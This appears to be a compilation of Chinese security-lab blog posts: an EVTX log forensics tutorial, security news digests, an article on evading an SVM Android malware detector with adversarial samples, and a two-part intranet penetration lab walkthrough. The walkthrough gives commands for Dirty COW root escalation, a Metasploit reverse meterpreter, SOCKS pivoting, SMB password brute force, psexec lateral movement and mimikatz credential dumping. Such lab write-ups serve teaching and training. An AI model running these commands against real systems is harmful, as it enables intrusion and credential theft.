0x0、概述 evtx文件是微软从 Windows NT 6.0(Windows Vista 和 Server 2008) 开始采用的一种全新的日志文件格式。在此之前的格式是 evt 。evtx由Windows事件查看器创建，包含Windows记录的事件列表，以专有的二进制XML格式保存。 0x1、EVTX文件结构 evtx文件主要由三部分组成： file header （文件头） chunks （数据块） trailing empty values （尾部填充空值） File Header（文件头）： 文件头长度为4KB（4096bytes），其结构如下： 偏移长度（Bytes）值描述0x008"ElfFile\x00"标志位/签名0x088 第一个区块编号（存在时间最久的区块编号）0x108 当前区块编号（块的编号从0开始）0x188 下一条事件记录的ID0x204128文件头有效部分的大小0x2421次要版本0x2623主要版本0x2824096文件头的大小0x2A2 区块的数量0x2C76 未知 (空值)0x784 文件标志0x7C4 文件头前 120 bytes 的CRC32校验和0x803968 未知 (空值) 我们可以使用Hex编辑器打开一个evtx文件查看一下： Chunk(块)： 每个块的大小是 65536 bytes（64KB），主要由三部分组成： chunk header 块头 array of event records 事件记录组 unused space 未使用的空间 chunk头长度为512bytes，其结构如下： 偏移长度（Bytes）值描述0x008"ElfChnk\x00"标志位/签名0x088 基于日志编号的第一条日志记录的ID0x108 基于日志编号的最后一条日志记录的ID0x188 基于文件编号的第一条日志记录的ID0x208 基于文件编号的最后一条日志记录的ID0x284128chunk头大小0x2C4 最后一条日志记录的偏移量（相对于块头的起始偏移量）0x304 下一条日志记录的偏移量（相对于块头的起始偏移量）0x344 事件记录数据的 CRC32 校验和0x3864 Unknown (空值)0x784 Unknown (flags?)0x7C4 块头CRC32校验和（块头前120个字节和128至512字节的数据的CRC32校验和） Event record(事件记录)： 事件记录的长度非固定长度，其结构如下： 偏移长度（Bytes）值描述0x004"\x2a\x2a\x00\x00"标志位/签名0x044 事件记录的长度0x088 记录ID0x108 日志记录的写入时间（FILETIME）0x18不确定 基于二进制XML编码的信息不确定4 记录长度（副本） 由上面的信息，可知evtx日志文件包含一个4KB的文件头加后面一定数量的64KB大小的块，一个块中记录一定数量（大约100条）的事件记录。每个块是独立的，不受其他块影响。不会出现一条事件记录的数据存在于两个块中。每条记录包含一个基于二进制XML编码的信息。每条事件记录包含其创建时间与事件 ID（可以用于确定事件的种类），因此可以反映某个特定的时间发生的特定的操作，取证人员可以根据日志文件来发现犯罪的过程。 evtx日志文件大概的结构如下所示： 在windows事件查看器中查看： 0x2、EVTX文件的存储 Windows事件日志文件保存在%SystemRoot%\System32\Winevt\Logs路径中。 常见日志文件主要有三个，分别是：System.evtx 、Application.evtx 和Security.evtx。分别是系统日志、应用程序日志和安全日志。 System.evtx 记录操作系统自身组件产生的日志事件，比如驱动、系统组件和应用软件的崩溃以及数据丢失错误等等。 Application.evtx 记录应用程序或系统程序运行方面的日志事件，比如数据库程序可以在应用程序日志中记录文件错误，应用的崩溃记录等。 Security.evtx 记录系统的安全审计日志事件，比如登录事件、对象访问、进程追踪、特权调用、帐号管理、策略变更等。Security.evtx也是取证中最常用到的。 默认情况下，当一个evtx文件的记录满了，日志服务会覆盖最开始的记录，从头开始写入新的记录。也就是相当于一个循环记录的缓存文件。 0x3、Evtx日志分析 Windows 用 Event ID来标识事件的不同含义，拿Security日志来说，一些常见的Event ID 如下： 事件ID描述4608Windows 启动4609Windows 关机4616系统时间发生更改4624用户成功登录到计算机4625登录失败。使用未知用户名或密码错误的已知用户名尝试登录。4634用户注销完成4647用户启动了注销过程4648用户在以其他用户身份登录时，使用显式凭据成功登录到计算机4703令牌权限调整4704分配了用户权限4720已创建用户账户4725账户被禁用4768请求Kerberos身份验证票证（TGT）4769请求Kerberos服务票证4770已续订Kerberos服务票证4779用户在未注销的情况下断开了终端服务器会话 1、通过Windows事件查看器分析日志 通过Windows事件查看器可以查看当前主机的事件日志，也可以打开保存的 evtx文件。 可以通过点击、筛选、查找等多种方式查看事件日志 筛选器提供了丰富的筛选方式： 2、通过工具分析Evtx Log Parser Log Parser（是微软公司自己开发的日志分析工具，它功能强大，使用简单，可以分析基于文本的日志文件、XML 文件、CSV（逗号分隔符）文件，以及操作系统的事件日志、注册表、文件系统、Active Directory。它使用类似 SQL 语句一样查询分析这些数据，还可以把分析结果以图表的形式展现出来。 Log Parser下载地址：https://www.microsoft.com/en-us/download/details.aspx?id=24659 使用方法: logparser -i:输入文件的格式 -o:输出文件的格式 "查询语句 和文件路径" 例子： 查询登录成功的事件： LogParser.exe -i:EVT -o:DATAGRID  "SELECT *  FROM E:\Security.evtx where EventID=4624" 还有其他的语法，具体可以查看其帮助信息 >LogParser.exeMicrosoft (R) Log Parser Version 2.2.10Copyright (C) 2004 Microsoft Corporation. All rights reserved.Usage:   LogParser [-i:<input_format>] [-o:<output_format>] <SQL query> |                  file:<query_filename>[?param1=value1+...]                  [<input_format_options>] [<output_f Log Parser Studio logparser的GUI版本。 下载地址：https://techcommunity.microsoft.com/t5/exchange-team-blog/log-parser-studio-2-0-is-now-available/ba-p/593266 其界面如下： Event Log Explorer Event Log Explorer 是一个非常好用的Windows 日志分析工具，下载地址：https://eventlogxp.com/ LogParser Lizard LogParser Lizard 是一个功能丰富的Windows 日志分析软件，可以通过类似SQL查询语句对日志筛选查询进行分析。 下载地址：https://lizard-labs.com/log_parser_lizard.aspx Evtx Explorer/EvtxECmd 具有标准化CSV、XML和json输出的事件日志(Evtx)解析器！ 下载地址：https://ericzimmerman.github.io/#!index.md 使用方法： EvtxECmd.exe -f 日志文件 --xml 输出路径 解析的xml文件结构如下： 0x4、Evtx取证实战 题目来源：Cynet应急响应挑战赛 描述：GOT Ltd 的人力资源主管King-Slayer认为他的电脑上有可疑活动。 2020 年 2 月 8 日，15:00 左右，他发现桌面上出现了一个带有 kiwi标志的文件。据他描述，该文件首次出现在他的桌面后不久就突然消失了。那天晚些时候，他开始收到消息告诉他需要重新激活 Windows Defender。他激活了 Windows Defender，几个小时后又收到了同样的消息。 他决定将这件事告诉他在 IT 部门的朋友——Chris。Chris立即将此事报告给了 GOT 的网络安全部门。 该公司的 CISO 立即打电话求助我们，GOT有限公司总部设在瑞士，CISO 向我们发送了来自 King-Slayer的 PC 和域控制器的所有事件日志文件。他希望我们查出异常： 提示： 用户帐户 (KingSlayer) 是他电脑上的本地管理员。 域名 -> GOT.Com DC 服务器名称 -> WIN-IL7M7CC6UVU Jaime(King Slayer)的主机名->DESKTOP-HUB666E(172.16.44.135) 提交攻击者使用的域用户帐户(King-Slayer除外)以及他使用此用户帐户访问的主机的IP地址。 我们拿到的文件包括DC服务的日志和主机日志文件： 给出的文件还有一个提示就是PassTheHash ,表明攻击者使用了该技术。 传递哈希是一种黑客技术，它允许攻击者使用用户密码的基础NTLM或LanMan哈希对远程服务器或服务进行身份验证，而不是像通常情况下那样要求使用关联的明文密码。它取代了仅窃取哈希值并使用该哈希值进行身份验证而窃取明文密码的需要。--via 维基百科 通过日志交叉比对和筛选查找，我们确定了在2020-2-9 21:59左右，有异常登录行为 注意：Windows EVTX 的FILETIME 是 UTC时间，注意转化为瑞士当地时间。 我们发现用户Daenerys在2020年2月9日21:59 (当地时间15：59)通过SMB协议登录到WIN-IL7M7CC6UVU(域控制器)，而且使用了PSExec.exe 利用Deanerys用户登录了域控服务器。攻击者可能使用了Mimikatz拿到了Daenerys用户的哈希，然后用于横向移动渗透到DC。 参考资料 https://github.com/williballenthin/python-evtxWindows EVTX日志恢复与取证技术研究 https://xuewen.cnki.net/CMFD-1018252760.nh.html

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、包含38 亿个电话号码的Clubhouse数据库在暗网出售 https://securityaffairs.co/wordpress/120553/hacking/threat-actor-offers-clubhouse-secret-database-containing-3-8b-phone-numbers.html2、 攻击者通过Argo Workflows在K8s上部署挖矿程序 https://securityaffairs.co/wordpress/120544/malware/kubernetes-attacks-argo-workflows.html3、XCSSET macOS 恶意软件窃取Telegram、Chrome数据 https://securityaffairs.co/wordpress/120532/cyber-crime/xcsset-macos-malware-telegram.html4、2021 年东京奥运会开幕式前遭到恶意软件攻击 https://securityaffairs.co/wordpress/120513/malware/2021-tokyo-olympics-wiper.html5、研究人员发现Windows漏洞 PetitPotam 可获取密码哈希 https://securityaffairs.co/wordpress/120489/hacking/windows-petitpotam-attack.html6、包含居民个人数据在内的 80 多个美国市政敏感信息泄露 https://securityaffairs.co/wordpress/120477/data-breach/us-municipalities-data-breach.html7、Kaseya 获得了 REvil 勒索软件通用解密器 https://securityaffairs.co/wordpress/120467/cyber-crime/kaseya-obtained-revil-universal-decryptor.html8、苹果修复了 iPhone WiFi SSID格式化溢出漏洞 https://www.bleepingcomputer.com/news/security/apple-fixes-bug-that-breaks-iphone-wifi-when-joining-rogue-hotspots/9、Taurus恶意软件利用破解软件站点诱导用户安装 https://blog.minerva-labs.com/taurus-user-guided-infection10、研究显示大量家用路由器仍然使用默认管理员密码 https://www.welivesecurity.com/2021/07/22/popular-wi-fi-router-vulnerable-default-password-attack/

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、荷兰警方逮捕网络钓鱼 Fraud Family 开发团伙成员 https://securityaffairs.co/wordpress/120428/cyber-crime/fraud-family-members-identified.html 2、美国保险巨头 Humana 客户的敏感数据在线泄露 https://securityaffairs.co/wordpress/120402/data-breach/humana-data-leak.html 3、意大利票务平台TicketClub数据在暗网出售 https://securityaffairs.co/wordpress/120406/data-breach/ticketclub-italy-data-leak.html 4、CISA警告在被黑的Pulse Secure设备上发现隐蔽的恶意软件 https://securityaffairs.co/wordpress/120412/hacking/pulse-secure-cisa-malware.html 5、Atlassian 修补了 Jira 产品中的关键漏洞 https://www.securityweek.com/atlassian-patches-critical-vulnerability-jira-data-center-products 6、Google Cloud 推出新的 SOC、IDS 解决方案 https://www.securityweek.com/google-cloud-unveils-new-soc-ids-solutions 7、微软发布 Windows 10 修复"SeriousSAM"漏洞的解决方法 https://threatpost.com/win-10-serioussam/168034/ 8、2020年推特黑客事件的第四名嫌疑人被捕 https://thehackernews.com/2021/07/another-hacker-arrested-for-2020.html 9、新的 XCSSET 恶意软件变体针对 Telegram、Evernote、Skype 等 https://www.trendmicro.com/en_us/research/21/g/updated-xcsset-malware-targets-telegram--other-apps.html 10、英格兰北方铁路售票机遭受勒索软件攻击 https://www.reuters.com/world/uk/uks-northern-rails-self-service-ticket-machines-hit-by-ransomware-cyber-attack-2021-07-19/

0x01 前言 本文将介绍如何利用机器学习技术检测安卓恶意软件，在前文会介绍相关基础知识，在后文则以实战为导向，介绍如何使用支持向量机检测安卓恶意软件，以及通过可解释性技术解释模型的决策结果，最后介绍如果对该模型发动对抗样本攻击。 0x02 支持向量机 在机器学习中，支持向量机（英语：support vector machine，常简称为SVM，又名支持向量网络）是在分类与回归分析中分析数据的监督式学习模型与相关的学习算法。 给定一组训练实例，每个训练实例被标记为属于两个类别中的一个或另一个，SVM训练算法创建一个将新的实例分配给两个类别之一的模型，使其成为非概率二元线性分类器。SVM模型是将实例表示为空间中的点，这样映射就使得单独类别的实例被尽可能宽的明显的间隔分开。然后，将新的实例映射到同一空间，并基于它们落在间隔的哪一侧来预测所属类别。  相关实验：<支持向量机检测DGA>：https://www.yijinglab.com/expc.do?ec=ECIDd5fb-5379-4f4b-862e-db7ab18b3a19（了解支持向量机的原理，学习SVM是怎么应用于检测DGA的。）  0x03 可解释性技术 接着介绍本文用到的可解释性技术，来自于[2][3]两篇论文。 我们使用的数据集是Drebin，该数据集包含来自 179 个不同恶意软件家族的 5,560 个应用程序，样本是在2010年8月至 2012年10月期间收集的，由MobileSandbox 项目提供。其主页为：https://www.sec.cs.tu-bs.de/~danarp/drebin/  数据集的每个特征都是一个布尔变量，0表示不存在该特征，1表示存在该特征。 如下所示：  安卓样本(apk文件)在特征空间中表示为向量，然后用一组带有标签的数据集进行训练，来区分良性样本和恶意样本。在测试时，则用训练得到的分类器判别样本文件。如果其输出f(x)>0，则将其归类为恶意样本，否则归类为良性样本。我们希望利用可解释性技术解释模型做出对应决策的理由。  以前的可解释性技术关注梯度，更一般的说法就是围绕输入点x的线性近似值给解释技术提供了有用的信息。设f是与预测类别相关的置信度，其认为与局部梯度 ∇f(x) 的最大绝对值相关的那些特征识别是最能影响决策结果的特征。然而，对于稀疏数据（比如安卓恶意软件）来说，那些方法给出的最有影响力的特征往往不在给定的样本中，从而难以解释相应的预测结果。 因此，我们采用不同的方法。我们将梯度 ∇f (x) 投影到 x 上以获得特征相关（feature-relevance）向量 ν = ∇f(x) · x ∈ Rd，其中 · 表示元素乘积。然后我们将 ν 归一化为一元 l1 范数，即 r =v/||v|，以确保只有 x 中的非空特征被识别为与决策结果相关。 最后，可以将 r 的绝对值按降序排列以识别对决策结果最具影响的特征。 应用提出的解释性技术，下表中给出了SVM（顶行）和 RF（底行） (i) 良性样本（第一列），（ii）SM SWA TCHER 家族的恶意软件样本（第二列），以及 (iii) PL ANKTON家族的恶意软件样本（第三列）的最能影响判决结果的前10个特征，并给出了每个特征在 BENING (pB ) 和恶意软件 (pM ) 中存在的可能性。  0x04 对抗样本技术 然后介绍本文用到的对抗样本技术，来自于[4][5]两篇论文。 我们可以将生成的对抗样本形式化为：  其中，x’是与生成的对抗样本z’相关的特征空间，wˆ 是攻击者估计的权重向量。 这个式子本质上告诉攻击者应该修改哪些特征以最大程度地降低分类函数的值，即最大化逃避检测的概率。注意，根据操作约束 Ω(z)（例如如果特征值是有界的），要操作的特征集对于每个恶意样本通常是不同的。 攻击者的目标是最小化上面的式子，但是对于每个特征独立地估计 wˆ 的每个分量为：  这相当于鼓励攻击者添加（删除）在良性样本中更频繁出现（不存在）的重要特征，使恶意样本的概率分布更接近良性数据的概率分布。 在本部分最后，再捎带介绍后文会提到的两个概念。 F1分数： F1分数（F1 Score）是统计学中用来衡量二分类模型精确度的一种指标。 它同时兼顾了分类模型的精确率和召回率。 F1分数可以看作是模型精确率和召回率的一种调和平均，它的最大值是1，最小值是0。 ROC曲线： ROC 曲线（接收者操作特征曲线）是一种显示分类模型在所有分类阈值下的效果的图表。该曲线绘制了以下两个参数：真正例率TPR（在我们下面的实战中，就是恶意样本的检出率），假正例率FPR。 0x05实战 我们下载该数据集并解压：  简单查看一下数据：  可以看到共下载了12550个样本，其中良性样本数量为12000，恶意样本数量为550。 我们使用支持向量机对其进行检测，首先用一半的数据集作为训练集，在其上进行训练：  其中，CClassifierSVM类的定义如下：  训练完成后打印其F1分数：  绘出ROC曲线：  接着我们来尝试使用XAI技术（可解释性AI）来解释训练得到的模型是以什么为依据将样本判定为良性或恶意。 我们使用基于梯度的解释方法：  CExplainerGradientInput类定义如下，我们在下面会用到其explain方法：  我们尝试对于一个良性样本和一个恶意样本，给出解释并分别列出对决策结果最大的前10个特征。 先来看对良性样本的解释：  这里的true class:0，是说该样本为良性样本。对应地，下图中true class:1则说明其为恶意样本。 我们来看看返回的结果，负号说明这些特征是与决策结果负相关，或者换句话说，如果出现这些特征，那么样本是良性的可能性大。  从上图可以看到与之前相反的结果，大多数特征具有正相关的值，这意味着，出现了这些正相关的特征，则样本极有可能是恶意的。 前面我们在检查数据的时候已经知道，这批样本共有1227080个特征。而从此处的结果可以看到，打印出的前10个特征已经占据了50%左右的相关性了，说明该机器学习模型倾向于将大部分权重分配给一组小的特征。 如果攻击者发现了这一点，这时候只需稍微改动恶意样本中正相关性较大的特征，就能欺骗模型将其分类为良性样本。当然实际中不需要手动去修改，我们还有对抗样本的技术，可以自动修改特征来欺骗分类器。  我们这里使用带线性搜索的投影梯度下降技术来创建可以对抗检测安卓恶意软件的SVM分类器的对抗样本。这里需要注意，和图片不同，在生成图片的对抗样本时，基本是不受约束的，图片不论怎么修改，还是一张图片。但是对于程序来说，添加或者删除某些特征，可能程序就不可用了。比如我们在一个恶意程序上做对抗样本，如果改动幅度过大，可能生成的对抗 样本确实被分类器认为是良性的，但是该对抗样本可能已经失效的，即无法执行恶意行为，那么就失去了对抗样本的意义。 我们的经验就是一般不要轻易删除某些特征，尤其是不要删除manifest组件，因为容易破坏程序的功能。相对地，添加特征更安全一些，比如添加权限就不会影响任何现有功能。 我们来设置攻击参数：  这里主要关注distance和y_target。 distance我们设为l1，因为每个特征是一个布尔变量（0或1），我们希望在一次迭代时只改变一个特征（从0到1，或者从1到0）。 y_target设为0，是希望生成的对抗样本被归类为良性。（这里我们指定了攻击目标，在对抗样本中称为定向攻击） 接着发动攻击：  该类定义如下：  画出攻击后的情况：  从图中可以看到，在改变了不到10个特征之后，恶意样本的检出率就低于50%了，证实了对抗样本攻击的有效性。 相关课程：《https://www.yijinglab.com/cour.do?w=1&c=CCIDaa5a-85bb-4c6d-90fa-d61c89e7a81c （学习如何将机器学习与网络安全结合起来，使用机器学习来辅助网络安全问题的解决。） 0x06参考 1.https://zh.wikipedia.org/wiki/%E6%94%AF%E6%8C%81%E5%90%91%E9%87%8F%E6%9C%BA 2.Not just a blackbox: Learning important features through propagating      activation differences 3.Explaining Black-box Android Malware Detection 4.Is Deep Learning Safe for Robot Vision?Adversarial Examples against the iCub Humanoid 5.Yes, Machine Learning Can Be More Secure!A Case Study on Android Malware Detection 6.《机器学习》、《深度学习》

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、CNCERT发布2020年中国互联网网络安全报告 https://mp.weixin.qq.com/s/jAhWZzaq6mpyYt50L78Bhg 2、Kelihos僵尸网络作者被判入狱 https://securityaffairs.co/wordpress/120374/cyber-crime/kelihos-botnetmaster-peter-levashov-sentence.html 3、Linux 内核中的 LPE 漏洞影响大多数Linux发行版 https://securityaffairs.co/wordpress/120365/security/lpe-flaw-linux-kernel.html 4、Google Cloud 推出新的政务零信任产品 https://www.securityweek.com/google-cloud-introduces-new-zero-trust-offerings-government 5、Oracle 发布 2021 年 7 月更新含 342 个安全补丁 https://www.securityweek.com/oracle-releases-july-2021-cpu-342-security-patches 6、Chrome 92 带来多项隐私、安全改进 https://www.securityweek.com/chrome-92-brings-several-privacy-security-improvements 7、沙特阿美因数据泄露面临5000W美元勒索赎金 https://www.securityweek.com/saudi-aramco-facing-50m-cyber-extortion-over-leaked-data 8、XLoader 恶意软件现已升级可攻击 macOS 系统 https://thehackernews.com/2021/07/xloader-windows-infostealer-malware-now.html 9、恶意 NPM 包从Chrome浏览器中窃取用户保存的密码 https://thehackernews.com/2021/07/malicious-npm-package-caught-stealing.html 10、Aruba Networks路由器被发现存在多个漏洞

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、存在16年的漏洞影响数百万台HP、施乐和三星打印机 https://securityaffairs.co/wordpress/120358/security/cve-2021-3438-printer-driver-flaw.html 2、Fortinet 修复了 FortiManager 和 FortiAnalyzer 中的高危漏洞 https://securityaffairs.co/wordpress/120350/security/fortinet-fortimanager-fortianalyzer-bug.html 3、微软获得法院授权，删除 BEC 活动中使用的相似文字域名 https://securityaffairs.co/wordpress/120334/cyber-crime/microsoft-bec-campaign.html 4、罗克韦尔自动化 MicroLogix PLC 存在漏洞可导致远程DoS攻击 https://www.securityweek.com/vulnerability-exposes-micrologix-plcs-remote-dos-attacks 5、网络安全研究人员披露一个名为“ MosaicLoader ”的新的恶意软件 https://thehackernews.com/2021/07/this-new-malware-hides-itself-among.html 6、马克龙等13位国家元首和政府首脑都是Pegasus 项目监控对象 https://www.theguardian.com/world/2021/jul/20/emmanuel-macron-identified-in-leaked-pegasus-project-data 7、网络钓鱼活动利用Word文档分发恶意软件 https://www.fortinet.com/blog/threat-research/fresh-malware-hunts-for-crypto-wallet-and-credentials 8、Umbraco即将修复其表单包中的RCE漏洞 https://portswigger.net/daily-swig/umbraco-flags-pending-security-patch-for-rce-vulnerability-in-forms-package 9、美国一著名律师事务所披露勒索软件攻击 https://www.securityweek.com/law-firm-campbell-conroy-oneil-discloses-ransomware-attack 10、微软将 Teams 移动应用程序添加到漏洞赏金计划 https://www.securityweek.com/microsoft-adds-teams-mobile-applications-bug-bounty-program

（接上篇） 绕过disable_functions 但是这里命令执行返回的是127，应该是disable_functions禁用了命令执行的函数，在windows下绕过disable_functions的方法虽然很少，但是在linux里面绕过disable_functions的方法却有很多，这里就不展开说了 这里为了方便我直接使用的是蚁剑里自带的插件绕过disable_functions，可以看到已经上传脚本操作成功了 这里我直接去连接上传的这个.antproxy.php，这里理论上是应该用原来的密码连接过去就可以执行命令了，但是这和地方不知道为什么返回数据为空我淦！ 这里只好用最原始的方法，上传一个绕过disable_functions的py，通过传参的方式执行系统命令 测试一下传参为whoami，可以看到这里是一个低权限www-data ifconfig看一下网卡情况，这里很奇怪，因为之前我们在扫描的时候这台CentOS的ip应该是192.168.1.0/24这个网段的，但是这里ifconfig出来却是192.168.53.0/24这个网段，当时说实话有点懵 arp -a查看下路由表，可以看到都是192.168.93.0/24这个网段 再看一下端口的进出，发现都是93这个网段 interfaces中配置的静态网卡也是93这个网段 Nginx反向代理 那么到这里已经很明显了，也就是说我们之前拿到的那台linux的192.168.1.0/24这个网段相当于一个公网IP，但是真正的主机应该是192.168.93.0/24，但这个是一个内网网段，所以说最符合这种情况的就是nginx反向代理 因为之前nginx反代的情况基本没遇到过，所以这里顺带补充一下自己的盲区 何为代理 在Java设计模式中，代理模式是这样定义的：给某个对象提供一个代理对象，并由代理对象控制原对象的引用。 可能大家不太明白这句话，在举一个现实生活中的例子：比如我们要买一间二手房，虽然我们可以自己去找房源，但是这太花费时间精力了，而且房屋质量检测以及房屋过户等一系列手续也都得我们去办，再说现在这个社会，等我们找到房源，说不定房子都已经涨价了，那么怎么办呢？最简单快捷的方法就是找二手房中介公司（为什么？别人那里房源多啊），于是我们就委托中介公司来给我找合适的房子，以及后续的质量检测过户等操作，我们只需要选好自己想要的房子，然后交钱就行了。 代理简单来说，就是如果我们想做什么，但又不想直接去做，那么这时候就找另外一个人帮我们去做。那么这个例子里面的中介公司就是给我们做代理服务的，我们委托中介公司帮我们找房子。 何为反向代理 反向代理和正向代理的区别就是：正向代理代理客户端，反向代理代理服务器。 反向代理，其实客户端对代理是无感知的，因为客户端不需要任何配置就可以访问，我们只需要将请求发送到反向代理服务器，由反向代理服务器去选择目标服务器获取数据后，在返回给客户端，此时反向代理服务器和目标服务器对外就是一个服务器，暴露的是代理服务器地址，隐藏了真实服务器IP地址。 反向代理的好处 那么为什么要用到反向代理呢，原因有以下几点： 1、保护了真实的web服务器，web服务器对外不可见，外网只能看到反向代理服务器，而反向代理服务器上并没有真实数据，因此，保证了web服务器的资源安全 2、反向代理为基础产生了动静资源分离以及负载均衡的方式，减轻web服务器的负担，加速了对网站访问速度（动静资源分离和负载均衡会以后说） 3、节约了有限的IP地址资源，企业内所有的网站共享一个在internet中注册的IP地址，这些服务器分配私有地址，采用虚拟主机的方式对外提供服务 了解了反向代理之后，我们再具体的去探究一下Nginx反向代理的实现 1、模拟n个http服务器作为目标主机用作测试，简单的使用2个tomcat实例模拟两台http服务器，分别将tomcat的端口改为8081和8082 2、配置IP域名 192.168.72.49 8081.max.com 192.168.72.49 8082.max.com 3、配置nginx.conf upstream tomcatserver1 {    server 192.168.72.49:8081;    } upstream tomcatserver2 {    server 192.168.72.49:8082;    } server {        listen       80;        server_name  8081.max.com;        #charset koi8-r;        #access_log  logs/host.access.log  main;        location / {            proxy_pass   http://tomcatserver1;            index  index.html index.htm;        }        } server {        listen       80;        server_name  8082.max.com;        #charset koi8-r;        #access_log  logs/host.access.log  main;        location / {            proxy_pass   http://tomcatserver2;            index  index.html index.htm;        }            } 流程： 1）浏览器访问8081.max.com，通过本地host文件域名解析，找到192.168.72.49服务器（安装nginx） 2）nginx反向代理接受客户机请求，找到server_name为8081.max.com的server节点，根据proxy_pass对应的http路径，将请求转发到upstream tomcatserver1上，即端口号为8081的tomcat服务器。 那么这里很明显还有一台linux主机在整个拓扑内做为内网Ubuntu的反向代理主机，这时候我翻缓存文件夹的时候发现了一个mysql文件夹，跟进去看看 发现了一个test.txt，不会又是管理员忘记删了的账号密码吧(手动狗头) 因为之前我们扫端口的时候发现开了22端口，那么这个账号密码很可能就是ssh的帐号密码 使用ssh连接尝试 连接成功到了另外一台linux主机 看一下主机和ip情况，可以发现这台主机已经不是我们之前的那台Ubuntu了，而是CentOS，而且双网卡，一张网卡是我们之前扫描时候得出的1.0/24这个网段的ip，还有一个ip就是93.0/24这个内网网段的ip，那么这台linux主机就是Ubuntu的反向代理主机无疑了 脏牛提权 这里直接选择linux提权首选的脏牛进行提权 gcc -pthread dirty.c -o dirty -lcrypt //编译dirty.c ./dirty 123456 //创建一个高权限用户，密码为123456 可以看到这里已经执行成功，脏牛执行成功过后会自动生成一个名为firefart的高权限用户，密码就是我们刚才设置的123456 这里我们切换到firefart用户进行查看 内网渗透 centos上线msf 这里因为是linux的原因，就不使用cs上线的打法了，先生成一个linux的payload上线到msf use exploit/multi/script/web_delivery set lhost 192.168.1.10 set lport 4444 set target 7 run 运行之后会给出一个payload use exploit/multi/script/web_delivery set target 7     set payload linux/x64/meterpreter/reverse_tcp set lhost 192.168.1.10 set lport 4444 exploit 将payload复制到centos执行 可以看到反弹session已经成功 socks代理进入内网扫描 这里使用添加路由、使用socks_proxy模块进入内网 route add 192.168.93.0 255.255.255.0 1 route print use auxiliary/server/socks_proxy set version 4a run 然后在/etc/proxychain.conf文件中添加代理的ip和端口，这里一定要和设置里的对应 这里可以使用proxychain + nmap进行扫描，这里为了方便我就直接使用msf中的模块对192.168.93.0/24这个网段进行扫描了。注意这里在实战的时候可以适当把线程调小一点，不然流量会很大，这里因为是靶场的原因我就直接调成了20 use auxiliary/scanner/discovery/udp_probe set rhosts 192.168.93.1-255 set threads 20 run 这里扫描完之后可以发现，内网里有3台主机存活，分别是192.168.93.10 192.168.93.20 192.168.93.30 但是这时候信息还不够，调用nmap继续扫描详细信息 nmap -T4 -sC -sV 192.168.93.10 192.168.93.20 192.168.93.30 首先是10这台主机，可以看到开放了88跟389这两个端口，熟悉的师傅都应该知道这两个端口大概率锁定了这台主机就是域控 20这台主机开的都是几个常规端口，值得注意的就是1433端口，意味着20这台主机上有mssql服务 30这台主机也是开了几个常规端口，跟前面两台主机相比就没什么特征端口，应该是一个普通的域成员主机 永恒之蓝尝试 这里我发现三台主机都开了139、445端口，那么先使用永恒之蓝模块先批量扫描一波看有没有可以直接用永恒之蓝打下来的主机 这里没有能够直接用永恒之蓝拿下的主机，win7跟2008匿名管道都没有开所以利用不了 密码枚举 因为这三台主机都开了445端口，可以使用smb，使用msf中的smb_login模块进行密码枚举尝试 use auxiliary/scanner/smb/smb_login set rhosts 192.168.93.20 set SMBUser Administrator set PASS_FILE /tmp/1W.txt run 这里很幸运，跑出来的密码是123qwe!ASD刚好在我的1W.txt这个字典里面 psexec横向移动 这里使用proxifier将msf的socks代理到本地，忘记截图了orz... 这里既然已经拿到了administrator的密码，使用ipc先连接到20这一台主机，使用copy命令将mimikatz拷贝到20这台主机上 然后使用psexec获取一个cmd环境，使用mimikatz抓取hash并保存为日志 psexec64.exe \\192.168.93.20 cmd mimiKatz.exe log privilege::debug sekurlsa::logonpasswords type mimikatz.log读取日志内容可以发现域管的帐号密码为Administrator zxcASDqw123!! 那么这里也直接使用ipc连接直接连接10这台主机，即TEST这个域的域控，可以看到已经连接成功了 使用命令查看机密文件 dir \\192.168.93.10\C$\users\Administrator\Documents type \\192.168.93.10\C$\users\Administrator\Documents\flag.txt

前言 本环境为黑盒测试，在不提供虚拟机帐号密码的情况下进行黑盒测试拿到域控里面的flag。 环境搭建 内网网段：192.168.93.0/24 外网网段：192.168.1.0/24 攻击机： kali：192.168.1.10 靶场： CentOS(内)：192.168.93.100 CentOS(外)：192.168.1.110 Ubuntu：192.168.93.120 域内主机： Winserver2012：192.168.93.10 Winserver2008：192.168.93.20 Windows7：192.168.93.30 其中CentOS可以外网、内网通信，域内主机只能内网之间进行通信 kali跟CentOS能够ping通  拓扑图如下： 内网信息搜集 nmap探测端口 nmap先探测一下出网机即CentOS的端口情况。可以看到开了22、80、3306端口，初步判断开了web，ssh，数据库应该为MySQL nmap -T4 -sC -sV 192.168.1.110 这里首先访问下80端口，发现为joomla框架，joomla框架在3.4.6及以下版本是有一个远程rce漏洞的，这里先使用exp直接去打一下 这里看到exp打过去不能够利用那么应该是joomla的版本比较高 这里使用端口扫描软件扫一下后台的文件发现一个管理员的界面 是joomla的后台登录界面，这里尝试使用bp弱口令爆破了一下，无果，只好放弃 这里使用dirsearch进一步进行扫描，发现了一个configuration.php 看一下这个php的内容发现有一个user跟password，联想到开了3306这个端口，猜测这可能是管理员备份的数据库密码忘记删除了 连接mysql 这里使用navicat尝试连接一下靶机的数据库 可以看到连接成功了 然后就是翻数据找管理员的帐号了，找管理员帐号肯定是找带有user字段跟password字段的，这里我找了一段时间，最后发现umnbt_users这个表跟管理员帐号最相似，但是这里出现了一个问题，我发现password这个地方的密码不是明文 这里试着把密文拿去解密发现解密失败 